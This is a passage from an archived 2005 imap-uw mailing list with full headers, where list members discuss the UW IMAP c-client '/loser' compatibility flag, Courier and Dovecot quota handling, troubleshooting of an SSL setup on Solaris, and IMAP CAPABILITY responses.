https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Nov 16 10:14:45 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 16 Nov 2005 10:14:45 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAGIEjYk001488 for ; Wed, 16 Nov 2005 10:14:45 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAGIEiWf013662 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 16 Nov 2005 10:14:44 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAGIEeCA027750 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 16 Nov 2005 10:14:41 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAGIEehK032677; Wed, 16 Nov 2005 10:14:40 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAGIEd72032669 for ; Wed, 16 Nov 2005 10:14:39 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAGIEcOb008533 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 16 Nov 2005 10:14:39 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAGIEcXx021455 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 16 Nov 2005 10:14:38 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAGIEYgE020298 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Wed, 16 Nov 2005 10:14:37 -0800 Date: Wed, 16 Nov 2005 10:14:33 -0800 (PST) From: Mark Crispin To: maf@tkrat.org Subject: Re: [Imap-uw] c-client bug in parameter parsing In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: UW IMAP Software Interest List X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Thank you for your message. I have decided to address this issue in a somewhat different way; and the change will be in the next imap-2005 development snapshot. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Nov 16 13:03:44 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 16 Nov 2005 13:03:44 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAGL3iA1010222 for ; Wed, 16 Nov 2005 13:03:44 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAGL3hWU025108 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 16 Nov 2005 13:03:43 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAGL3dI0032611 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 16 Nov 2005 13:03:39 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAGL3doV007043; Wed, 16 Nov 2005 13:03:39 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAGL3bnV007011 for ; Wed, 16 Nov 2005 13:03:37 -0800 Received: from boost.horde.net (boost.horde.net [69.55.65.181]) by mxe5.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAGL3bx7018623 for ; Wed, 16 Nov 2005 13:03:37 -0800 Received: by boost.horde.net (Postfix, from userid 100) id 735A84183; Wed, 16 Nov 2005 16:03:32 -0500 (EST) Date: Wed, 16 Nov 2005 16:03:32 -0500 From: John Morrissey To: UW IMAP Software Interest List Subject: Re: [Imap-uw] Negative usage and libc-client parsing Message-ID: <20051116210332.GA24341@boost.horde.net> References: <20051111190951.GA20966@boost.horde.net> <20051115180449.GA24399@boost.horde.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: X-Marks: The Spot X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Tue, Nov 15, 2005 at 12:36:36PM -0800, Mark Crispin wrote: > I don't want to do this by default, but the attached patch will do this if > you specify "/loser" in the mailbox name. You need to use "/loser" with > Courier servers anyway. Sounds good - thanks! Before I enable the loser flag locally, could you confirm what it enables? >From reading the source, it looks like: * Anything that deals with sequences passes them through imap_reform_sequence() to fix any reversed sequences (i.e., x:y where x > y). * Unsets adr->personal if it contains '@'. * Ignores the THREAD capability, if advertised. * imap_send_astring() always quotes astrings. Correct? john -- John Morrissey _o /\ ---- __o jwm@horde.net _-< \_ / \ ---- < \, www.horde.net/ __(_)/_(_)________/ \_______(_) /_(_)__ _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Nov 16 14:22:17 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 16 Nov 2005 14:22:16 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAGMMG6Y014384 for ; Wed, 16 Nov 2005 14:22:16 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAGMMFQb030256 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 16 Nov 2005 14:22:16 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAGMMC5c004470 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 16 Nov 2005 14:22:12 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAGMMCBn027066; Wed, 16 Nov 2005 14:22:12 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAGMMAVX027057 for ; Wed, 16 Nov 2005 14:22:10 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAGMMAZr004342 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 16 Nov 2005 14:22:10 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAGMM92t029110 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 16 Nov 2005 14:22:09 -0800 X-Auth-Received: from Shimo-Tomobiki.panda.com ([65.122.177.186]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAGMM6Uo011905 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 16 Nov 2005 14:22:09 -0800 Date: Wed, 16 Nov 2005 14:22:06 -0800 From: Mark Crispin To: John Morrissey Subject: Re: [Imap-uw] Negative usage and libc-client parsing In-Reply-To: <20051116210332.GA24341@boost.horde.net> Message-ID: References: <20051111190951.GA20966@boost.horde.net> <20051115180449.GA24399@boost.horde.net> <20051116210332.GA24341@boost.horde.net> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: UW IMAP Software Interest List X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Wed, 16 Nov 2005, John Morrissey wrote: > Before I enable the loser flag locally, could you confirm what it enables? Sure. I don't know what you mean by "enable the loser flag locally". /loser is specified in the mailbox name, e.g., {server.example.com/loser}INBOX when opening the maibox. It should not be used unless the server is known to fail without it. The code certainly should NOT be patched to set it. > From reading the source, it looks like: > > * Anything that deals with sequences passes them through > imap_reform_sequence() to fix any reversed sequences (i.e., x:y where > x > y). > * Unsets adr->personal if it contains '@'. > * Ignores the THREAD capability, if advertised. > * imap_send_astring() always quotes astrings. Correct. In addition (this may be new in imap-2005) it also does all searches locally, because Courier doesn't handle non-trivial search criteria correctly and that in turn breaks Pine filters. And, of course, this new thing in QUOTA responses to treat negative numbers as being 0. Are you sure that you really want to use Courier? I can understand if you want to use maildir format (I won't get into the theological discussion about maildir) but there is at least one alternative (Dovecot). -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Nov 17 12:39:30 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 17 Nov 2005 12:39:30 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAHKdUFF015917 for ; Thu, 17 Nov 2005 12:39:30 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAHKdTlD002286 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 17 Nov 2005 12:39:29 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAHKdPsq030485 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 17 Nov 2005 12:39:25 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAHKdPh5006793; Thu, 17 Nov 2005 12:39:25 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAHKdOQZ006785 for ; Thu, 17 Nov 2005 12:39:24 -0800 Received: from csee.usf.edu (babbage.csee.usf.edu [131.247.3.2]) by mxe3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAHKdNC9021332 for ; Thu, 17 Nov 2005 12:39:24 -0800 Received: from [131.247.2.164] (vince [131.247.2.164]) by csee.usf.edu (8.12.9/8.12.9) with ESMTP id jAHKk0HB026308 for ; Thu, 17 Nov 2005 15:46:00 -0500 (EST) Message-ID: <437CEA7A.203@cse.usf.edu> Date: Thu, 17 Nov 2005 15:39:22 -0500 From: Daniel Prieto User-Agent: Thunderbird 1.4 (Windows/20050908) MIME-Version: 1.0 To: imap-uw@u.washington.edu Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -0.00 X-Header-Name: Scanned by USF/CSE DOMAIN X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __LINES_OF_YELLING 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] imap with ssl X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hello guys, I have a Sun box (Sunblade) with Solaris8 and I have download imap-2004g and follow the doc/SSLBUILD directions (my version of openssl is 0.9.8a). I compiled imap as follow: make gso SSLTYPE=unix ./imap: * OK [CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS STARTTLS AUTH=LOGIN] machinename IMAP4rev1 2004.357 at Thu, 17 Nov 2005 15:09:35 -0500 (EST) I created a certificate as follow: openssl req -new -x509 -nodes -out imapd.pem -keyout imapd.pem -days 999 which is located in my default ssl directory: /usr/local/ssl/certs/imapd.pem My Thurderbird email client can't get any connection: If I setup the "Security Settings" to: "Never" I get "Mail server MYSERVER is not an IMAP4 mail server" error message. "SSL' (on port 993) I get "Unable to connect to your IMAP server. You may have exceeded the maximum number of connections to this server. If, so, use the Advanced IMAP Server Settings dialog to reduce the number of cached connections." I need your help... Thank you, -- Daniel Prieto _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Nov 17 12:56:15 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 17 Nov 2005 12:56:15 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAHKuFDZ017275 for ; Thu, 17 Nov 2005 12:56:15 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAHKuEdc003482 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 17 Nov 2005 12:56:15 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAHKuBV4018775 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 17 Nov 2005 12:56:11 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAHKuBGQ010546; Thu, 17 Nov 2005 12:56:11 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAHKu9mh010538 for ; Thu, 17 Nov 2005 12:56:09 -0800 Received: from boost.horde.net (boost.horde.net [69.55.65.181]) by mxe5.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAHKu9MK007496 for ; Thu, 17 Nov 2005 12:56:09 -0800 Received: by boost.horde.net (Postfix, from userid 100) id 22BF44185; Thu, 17 Nov 2005 15:56:04 -0500 (EST) Date: Thu, 17 Nov 2005 15:56:04 -0500 From: John Morrissey To: UW IMAP Software Interest List Subject: Re: [Imap-uw] Negative usage and libc-client parsing Message-ID: <20051117205604.GA12933@boost.horde.net> References: <20051111190951.GA20966@boost.horde.net> <20051115180449.GA24399@boost.horde.net> <20051116210332.GA24341@boost.horde.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: X-Marks: The Spot X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Wed, Nov 16, 2005 at 02:22:06PM -0800, Mark Crispin wrote: > I don't know what you mean by "enable the loser flag locally". /loser is > specified in the mailbox name, e.g., > {server.example.com/loser}INBOX Yes, sorry. I should have been more specific and said "specify the loser flag locally in our webmail software." > Are you sure that you really want to use Courier? I can understand if you > want to use maildir format (I won't get into the theological discussion > about maildir) but there is at least one alternative (Dovecot). When we launched our webmail offering, Courier was the only IMAP server to offer all the functionality we needed (LDAP auth, Maildir++ quotas, etc.). I would love to move to Dovecot since it's more standards compliant and the source is definitely cleaner, but Maildir++ quota support is currently a third-party patch which lacks some things we need. It looks like it returns 0 usage in response to RFC 2087 quota commands (in other words, it tracks usage, but doesn't report it). It also can't pull an updated quota limit from your user database, which would be useful to us when a user's quota is up- or downgraded. Thanks again for your help, Mark. I really appreciate it. john -- John Morrissey _o /\ ---- __o jwm@horde.net _-< \_ / \ ---- < \, www.horde.net/ __(_)/_(_)________/ \_______(_) /_(_)__ _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Nov 17 13:24:40 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 17 Nov 2005 13:24:40 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAHLOerp018681 for ; Thu, 17 Nov 2005 13:24:40 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAHLOdGA017707 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 17 Nov 2005 13:24:40 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAHLOaMd023115 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 17 Nov 2005 13:24:36 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAHLOaMd016269; Thu, 17 Nov 2005 13:24:36 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAHLOZIH016261 for ; Thu, 17 Nov 2005 13:24:35 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAHLOZ7t020547 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 17 Nov 2005 13:24:35 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAHLOYCc025396 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 17 Nov 2005 13:24:35 -0800 X-Auth-Received: from Shimo-Tomobiki.panda.com ([65.122.177.186]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAHLOW0l028398 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 17 Nov 2005 13:24:34 -0800 Date: Thu, 17 Nov 2005 13:24:31 -0800 From: Mark Crispin To: Daniel Prieto Subject: Re: [Imap-uw] imap with ssl In-Reply-To: <437CEA7A.203@cse.usf.edu> Message-ID: References: <437CEA7A.203@cse.usf.edu> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu What happens when you telnet to port 993 on the IMAP server system? Do you get any messages in your mail syslog? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Nov 22 00:16:53 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 22 Nov 2005 00:16:53 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAM8GrFF014234 for ; Tue, 22 Nov 2005 00:16:53 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAM8Gqpr025864 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 22 Nov 2005 00:16:52 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAM8Gm6n020048 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 22 Nov 2005 00:16:48 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAM8Gm2J013760; Tue, 22 Nov 2005 00:16:48 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAM8Glc8013752 for ; Tue, 22 Nov 2005 00:16:47 -0800 Received: from staff.cs.usyd.edu.au (staff.cs.usyd.edu.au [129.78.8.1]) by mxe3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with SMTP id jAM8Gicd030519 for ; Tue, 22 Nov 2005 00:16:44 -0800 Received: from blade1.cs.usyd.edu.au. [129.78.11.79] by staff.cs.usyd.edu.au.; Tue, 22 Nov 2005 19:16:30 +1100 Date: Tue, 22 Nov 2005 19:16:28 +1100 From: Roy Giles To: imap-uw@u.washington.edu Message-Id: <1132647390.58.725391067@it.usyd.edu.au> X-Image-Url: http://www.it.usyd.edu.au/faces/au/edu/usyd/it/roy/face.jpg Organization: Sydney University Computer Science MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] imapd CAPABILITY responses X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hello, Could someone point me to a definition/description of the current imapd unauthenticated CAPABILITY responses in general and specifically the difference between AUTH=PLAIN and AUTH=LOGIN Thanks, Roy Giles _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Nov 22 06:28:50 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 22 Nov 2005 06:28:50 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAMESogS001156 for ; Tue, 22 Nov 2005 06:28:50 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAMESnLZ015236 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 22 Nov 2005 06:28:49 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAMESjob007246 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 22 Nov 2005 06:28:46 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAMESjoJ025077; Tue, 22 Nov 2005 06:28:45 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAMESi3v025069 for ; Tue, 22 Nov 2005 06:28:44 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAMEShhl007687 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 22 Nov 2005 06:28:43 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAMEShpt015931 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 22 Nov 2005 06:28:43 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAMESav2018029 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA 